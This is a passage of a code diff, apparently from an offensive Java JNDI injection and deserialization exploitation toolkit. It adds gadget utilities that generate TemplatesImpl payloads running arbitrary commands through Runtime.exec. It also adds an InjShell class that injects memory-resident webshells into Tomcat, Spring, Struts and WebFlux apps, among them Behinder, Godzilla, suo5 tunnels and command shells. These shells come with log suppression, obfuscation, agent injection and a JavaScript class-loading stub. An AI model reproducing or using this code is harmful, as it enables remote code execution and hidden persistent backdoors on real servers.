InvocationHandler ih, final Class iface, final Class... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + // 按需保存文件 + Utils.saveCtClassToFile(ctClass); + classBytes = ctClass.toBytecode(); + + // 加载 class 试试 +// loadClassTest(classBytes, ctClass.getName()); + + // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 + classBytes[7] = 49; + + // 恶意类是否继承 AbstractTranslet + if (IS_INHERIT_ABSTRACT_TRANSLET) { + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); + } else { + CtClass newClass = POOL.makeClass(generateClassName()); + insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); + // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet + Reflections.setFieldValue(templates, "_transletIndex", 0); + } + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "a"); + Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance()); + return templates; + } + + public static HashMap makeMap(Object v1, Object v2) throws Exception { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException e) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + Reflections.setAccessible(nodeCons); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/HexUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/HexUtils.java new file mode 100644 index 00000000..cdd0b248 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/HexUtils.java @@ -0,0 +1,64 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.IOException; +import java.io.InputStream; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Formatter; + +public class HexUtils { + public static String generatePassword(String password) { + String md5Str = getMD5(password); + if (md5Str != null) { + return md5Str.substring(0, 16).toLowerCase(); + } + + // 如果生成出错,则使用 p@ssw0rd + return "0f359740bd1cda99"; + } + + public static String getMD5(String str) { + // 生成一个MD5加密计算摘要 + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + return toHexString(md.digest()); + } catch (NoSuchAlgorithmException e) { + } + return null; + } + + private static String toHexString(byte[] bytes) { + Formatter formatter = new Formatter(); + for (byte b : bytes) { + formatter.format("%02x", b); + } + String res = formatter.toString(); + formatter.close(); + return res; + } + + public static byte[] toByteArray(InputStream in) throws IOException { + byte[] classBytes; + classBytes = new byte[in.available()]; + in.read(classBytes); + in.close(); + return classBytes; + } + + public static String bytesToHexString(byte[] bArray, int length) { + StringBuffer sb = new StringBuffer(length); + + for (int i = 0; i < length; ++i) { + String sTemp = Integer.toHexString(255 & bArray[i]); + if (sTemp.length() < 2) { + sb.append(0); + } + + sb.append(sTemp.toUpperCase()); + } + return sb.toString(); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java new file mode 100644 index 00000000..22b37bd8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java @@ -0,0 +1,471 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.template.Agent.LinMenshell; +import com.qi4l.jndi.template.Agent.WinMenshell; +import com.qi4l.jndi.template.memshell.tomcat.TSMSFromJMXF; +import javassist.*; +import org.apache.commons.codec.binary.Base64; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.List; + +import static com.qi4l.jndi.gadgets.Config.MemShellPayloads.*; +import static com.qi4l.jndi.template.memshell.shell.MemShellPayloads.SUO5.CMD_SHELL_FOR_WEBFLUX; + +public class InjShell { + public static void insertKeyMethod(CtClass ctClass, String type) throws Exception { + + // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload + String name = ctClass.getName(); + name = name.substring(name.lastIndexOf(".") + 1); + + // 大多数 SpringBoot 项目使用内置 Tomcat + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isWebflux = name.contains("Webflux"); + + // 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑 + String method = ""; + if (name.contains("SpringControllerMS")) { + method = "drop"; + } else if (name.contains("Struts2ActionMS")) { + method = "executeAction"; + } + + List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + for (CtClass value : classes) { + String className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + method = Config.KEY_METHOD_MAP.get(className); + break; + } + } + + // 命令执行、各种内存马 + insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";"); + insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";"); + + if ("bx".equals(type)) { + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + } + + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass)); + } + + String shell = ""; + if (isTomcat) { + insertTomcatNoLog(ctClass); + shell = Config.IS_OBSCURE ? BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : BEHINDER_SHELL_FOR_TOMCAT; + } else { + shell = Config.IS_OBSCURE ? BEHINDER_SHELL_OBSCURE : BEHINDER_SHELL; + } + + insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD)); + } else if ("gz".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";"); + + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MD5), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL_FOR_WEBFLUX)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL)); + } + } else if ("gzraw".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_RAW_SHELL)); + } else if ("suo5".equals(type)) { + + // 先写入一些需要的基础属性 + insertField(ctClass, "gInStream", "java.io.InputStream gInStream;"); + insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;"); + + // 依次写入方法 + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_CREATE), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DATA), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DEL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_SET_STREAM), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_STATUS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_U32_TO_BYTES), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_BYTES_TO_U32), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_MARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_UNMARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_SOCKET), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_TRY_FULL_DUPLEX), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_REQ), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_UNARY), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_BIO), ctClass)); + + // 为恶意类设置 Runnable 接口以及 RUN 方法 + CtClass runnableClass = ClassPool.getDefault().get("java.lang.Runnable"); + ctClass.addInterface(runnableClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.RUN), ctClass)); + + // 插入关键方法 + insertMethod(ctClass, method, Utils.base64Decode(SUO5.SUO5)); + } else if ("execute".equals(type)) { + insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";"); + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass)); + + insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL)); + } else if ("ws".equals(type)) { + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL)); + } else if ("upgrade".equals(type)) { + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(UPGRADE_SHELL)); + } else { + insertCMD(ctClass); + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_WEBFLUX)); + } else if (isTomcat) { + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_TOMCAT)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL)); + } + } + + ctClass.setName(ClassNameUtils.generateClassName()); + insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";"); + + } + + // 恶心一下人,实际没用 + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (int i = 0; i < bytes.length; i++) { + result.append(bytes[i]).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + public static void insertMethod(CtClass ctClass, String method, String payload) throws NotFoundException, CannotCompileException { + //添加到类路径,防止出错 + ClassPool pool; + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class)); + // 根据传入的不同参数,在不同方法中插入不同的逻辑 + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.setBody(payload); + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass)); + } + } + + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField ctSUID = ctClass.getDeclaredField(fieldName); + ctClass.removeField(ctSUID); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + public static String insertWinAgent(CtClass ctClass) throws Exception { + + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.jndi.template.Agent.WinMenshell"); + Field WinClassName = ctClazz.getDeclaredField("className"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, className); + Field WinclassBody = ctClazz.getDeclaredField("classBody"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, bytes); + return WinMenshell.class.getName(); + } + + public static void TinsertWinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.jndi.template.Agent.WinMenshell"); + Field WinClassName = ctClazz.getDeclaredField("className"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, className); + Field WinclassBody = ctClazz.getDeclaredField("classBody"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, bytes); + } + + public static String insertLinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.jndi.template.Agent.LinMenshell"); + Field LinClassName = ctClazz.getDeclaredField("className"); + LinClassName.setAccessible(true); + LinClassName.set(ctClazz, className); + Field LinclassBody = ctClazz.getDeclaredField("classBody"); + LinclassBody.setAccessible(true); + LinclassBody.set(ctClazz, bytes); + return LinMenshell.class.getName(); + } + + public static void TinsertLinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.jndi.template.Agent.LinMenshell"); + Field LinClassName = ctClazz.getDeclaredField("className"); + LinClassName.setAccessible(true); + LinClassName.set(ctClazz, className); + Field LinclassBody = ctClazz.getDeclaredField("classBody"); + LinclassBody.setAccessible(true); + LinclassBody.set(ctClazz, bytes); + } + + //路由中内存马主要执行方法 + public static String structureShell(Class payload) throws Exception { + //初始化全局配置 + Config.init(); + String className = ""; + ClassPool pool; + CtClass ctClass; + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(payload)); + ctClass = pool.get(payload.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + className = insertWinAgent(ctClass); + ctClass.writeFile(); + return className; + } + if (Config.linAgent) { + className = insertLinAgent(ctClass); + ctClass.writeFile(); + return className; + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + className = newClass.getName(); + newClass.writeFile(); + return className; + } + } + className = ctClass.getName(); + ctClass.writeFile(); + return className; + } + + public static String structureShellTom(Class payload) throws Exception { + Config.init(); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(payload)); + CtClass ctClass = pool.get(payload.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + TinsertWinAgent(ctClass); + return injectClass(WinMenshell.class); + } + if (Config.linAgent) { + TinsertLinAgent(ctClass); + return injectClass(WinMenshell.class); + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + String className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + return injectClass(newClass.getClass()); + } + } + return injectClass(ctClass.getClass()); + } + + //类加载方式,因类而异 + public static String injectClass(Class clazz) { + + String classCode = null; + try { + //获取base64后的类 + classCode = Util.getClassCode(clazz); + + } catch (Exception e) { + e.printStackTrace(); + } + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } + + public static void insertTomcatNoLog(CtClass ctClass) throws Exception { + + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + } + } + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(TOMCAT_NO_LOG), ctClass)); + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/JavaVersion.java b/src/main/java/com/qi4l/jndi/gadgets/utils/JavaVersion.java new file mode 100644 index 00000000..7dabeedc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/JavaVersion.java @@ -0,0 +1,40 @@ +package com.qi4l.jndi.gadgets.utils; + +public class JavaVersion { + + public int major; + + public int minor; + + public int update; + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if (property == null) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + v.major = Integer.parseInt(parts[start + 0]); + v.minor = Integer.parseInt(parts[start + 1]); + v.update = Integer.parseInt(parts[start + 2]); + return v; + } + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } + + public static boolean isBadAttrValExcReadObj() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major > 8 && v.update >= 76); + } + + public static boolean isAtLeast(int major) { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && v.major >= major; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Ltime.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Ltime.java new file mode 100644 index 00000000..2dcadea5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Ltime.java @@ -0,0 +1,16 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; + +import static org.fusesource.jansi.Ansi.ansi; + +public class Ltime { + //yyyy-MM-dd + public static String getLocalTime() { + Date d = new Date(); + DateFormat sdf = new SimpleDateFormat("HH:mm:ss"); + return sdf.format(d); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.java b/src/main/java/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.java new file mode 100644 index 00000000..b6eb8cd2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; + +public class MyURLClassLoader { + private URLClassLoader classLoader; + + public MyURLClassLoader(String jarName){ + try{ + classLoader = getURLClassLoader(jarName); + }catch(MalformedURLException e){ + e.printStackTrace(); + } + } + + public Class loadClass(String className) { + try{ + //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils + //为了避免这种情况,所以调用了 findClass 方法 + Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); + method.setAccessible(true); + Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); + return clazz; + } catch (NoSuchMethodException e) { + e.printStackTrace(); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + + return null; + } + + + private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { + String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; + File file = new File(path); + URL url = file.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + return urlClassLoader; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Reflections.java new file mode 100644 index 00000000..5394f44c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Reflections.java @@ -0,0 +1,86 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.nqzero.permit.Permit; +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.*; + +@SuppressWarnings("restriction") +public class Reflections { + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + + public static T createWithoutConstructor(Class classToInstantiate) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings({"unchecked"}) + public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T) sc.newInstance(consArgs); + } + + public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java new file mode 100644 index 00000000..ae467db9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java @@ -0,0 +1,72 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.controllers.SerializedDataController; +import com.qi4l.jndi.gadgets.Config.Config; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; + +import static com.qi4l.jndi.gadgets.Config.Config.IS_DIRTY_IN_TC_RESET; + +public class Serializer implements Callable { + private final Object object; + + public 